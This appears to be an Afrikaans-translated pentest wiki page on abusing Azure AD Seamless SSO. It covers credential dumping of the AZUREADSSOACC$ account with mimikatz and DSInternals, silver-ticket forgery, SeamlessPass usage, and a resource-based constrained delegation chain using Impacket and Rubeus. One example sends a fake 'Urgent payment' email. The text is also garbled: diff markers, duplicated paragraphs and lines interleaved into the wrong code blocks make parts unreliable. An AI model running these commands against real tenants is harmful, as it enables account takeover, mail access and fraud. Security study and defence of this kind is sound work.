Soos [in hierdie blogpos verduidelik](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), is dit baie maklik om enige van die vorige vereistes te hê en net die gereedskap **SeamlessPass** te gebruik om toegang tot die wolkbronne as die gecompromitteerde gebruiker, of as enige gebruiker as jy die **`AZUREADSSOACC$`** rekening hash of wagwoord het.
Laastens, met die TGT is dit moontlik om die gereedskap [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) te gebruik met:
```bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
```
Verder inligting om Firefox op te stel om met naatlose SSO te werk te gaan kan [**gevind word in hierdie blogpos**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
### Kry hashes van die AZUREADSSOACC$ rekening
Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domeinadmin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige on-prem gebruiker gesinkroniseer** aan Azure te koppel:
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -38,14 +87,20 @@ Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Met die hash kan jy nou **silwer kaartjies genereer**:
> [!NOTE]
> Met die huidige inligting kan jy net die hulpmiddel **SeamlessPass** gebruik soos voorheen aangedui om azure en entraid tokens vir enige gebruiker in die domein te verkry.
> Jy kan ook die vorige tegnieke (en ander) gebruik om die hash van die wagwoord van die slagoffer wat jy wil naboots, te verkry in plaas van die `AZUREADSSOACC$` rekening.
#### Creating Silver Tickets
Met die hash kan jy nou **generate silver tickets**:
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
@@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
### Gebruik van Silver Tickets met Firefox
Om die silwer kaartjie te gebruik, moet die volgende stappe uitgevoer word:
1. **Begin die Blaaier:** Mozilla Firefox moet gelaai word.
2. **Konfigureer die Blaaier:**
- Navigeer na **`about:config`**.
- Stel die voorkeur vir [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) op die gespesifiseerde [waardes](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
- Stel die voorkeur vir [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) op die gespesifiseerde [waarde](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
- Navigeer na Firefox `Settings` > Soek vir `Allow Windows single sign-on for Microsoft, work and school accounts` en aktiveer dit.
3. **Toegang tot die Webtoepassing:**
- Besoek 'n webtoepassing wat geïntegreer is met die organisasie se AAD-domein. 'n Algemene voorbeeld is [Office 365](https://portal.office.com/).
- Besoek 'n webtoepassing wat geïntegreer is met die organisasie se AAD-domein. 'n Algemene voorbeeld is [login.microsoftonline.com](https://login.microsoftonline.com/).
4. **Verifikasieproses:**
- By die aanmeldskerm moet die gebruikersnaam ingevoer word, terwyl die wagwoordveld leeg gelaat word.
- Om voort te gaan, druk óf TAB óf ENTER.
> [!TIP]
> Dit omseil nie MFA as dit geaktiveer is nie
> [!WARNING]
> Dit **omseil nie MFA as dit geaktiveer is** in die gebruiker nie.
#### Opsie 2 sonder dcsync - SeamlessPass
Dit is ook moontlik om hierdie aanval **sonder 'n dcsync-aanval** uit te voer om meer stil te wees, soos [in hierdie blogpos verduidelik](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Hiervoor het jy net een van die volgende nodig:
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
- **'n Gecompromitteerde gebruiker se TGT:** Selfs al het jy nie een nie, maar die gebruiker was gecompromitteer, kan jy een kry met die vals TGT-delegasie truuk wat in baie gereedskap geïmplementeer is, soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Goue Kaartjie**: As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep.
- **'n Gecompromitteerde gebruiker se NTLM-hash of AES-sleutel:** SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer.
- **AZUREADSSOACC$ rekening NTLM-hash of AES-sleutel:** Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om 'n dienskaartjie te skep en met die wolk te verifieer (soos in die vorige metode uitgevoer).
Om die aanval uit te voer, is die volgende nodig:
Laastens, met die TGT is dit moontlik om die gereedskap [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) te gebruik met:
- `WriteDACL` / `GenericWrite` oor `AZUREADSSOACC$`
- 'n rekenaarrekening wat jy beheer (hash & wagwoord) - Jy kan een skep
1. Stap1 Voeg jou eie rekenaarrekening by
- Skep `ATTACKBOX$` en druk sy SID/NTLM-hash. Enige domein gebruiker kan dit doen terwyl MachineAccountQuota>0
```bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
2. Stap2 Gee RBCD op `AZUREADSSOACC$` - Skryf jou masjien se SID in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
```bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
```
Verder inligting om Firefox te stel om met naatlose SSO te werk, kan [**gevind word in hierdie blogpos**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
3. Stap3 Vervals 'n TGS vir enige gebruiker (bv.alice)
```bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
#### ~~Skep Kerberos-tickets vir slegs-cloud gebruikers~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
# Produces alice.autologon.ccache
As die Active Directory-administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige cloud-gebruiker stel**. Op hierdie manier kan Kerberos **tickets** ook **vir slegs-cloud gebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) is.
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
```
U kan nou die **TGS gebruik om toegang tot Azure hulpbronne te verkry as die geïmpersonifieerde gebruiker.**
### ~~Skep Kerberos-kaarte vir slegs-cloud gebruikers~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
As die Active Directory administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige cloud-gebruiker stel**. Op hierdie manier kan Kerberos **kaarte** ook **vir slegs-cloud gebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) is.
> [!CAUTION]
> Om die SID van slegs-cloud administrateur gebruikers te verander, is nou **geblokkeer deur Microsoft**.\
> Die verandering van SID van slegs-cloud admin gebruikers is nou **geblokkeer deur Microsoft**.\
> Vir inligting, kyk [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### On-prem -> Cloud via Hulpbron-gebaseerde Beperkte Afvaardiging <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Enigeen wat rekenaarrekeninge (`AZUREADSSOACC$`) in die houer of OU waarin hierdie rekening is, kan **'n hulpbron-gebaseerde beperkte afvaardiging oor die rekening konfigureer en dit toegang gee**.
```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
```
## Verwysings
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: Ek is in jou wolk, lees almal se e-pos - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../../banners/hacktricks-training.md}}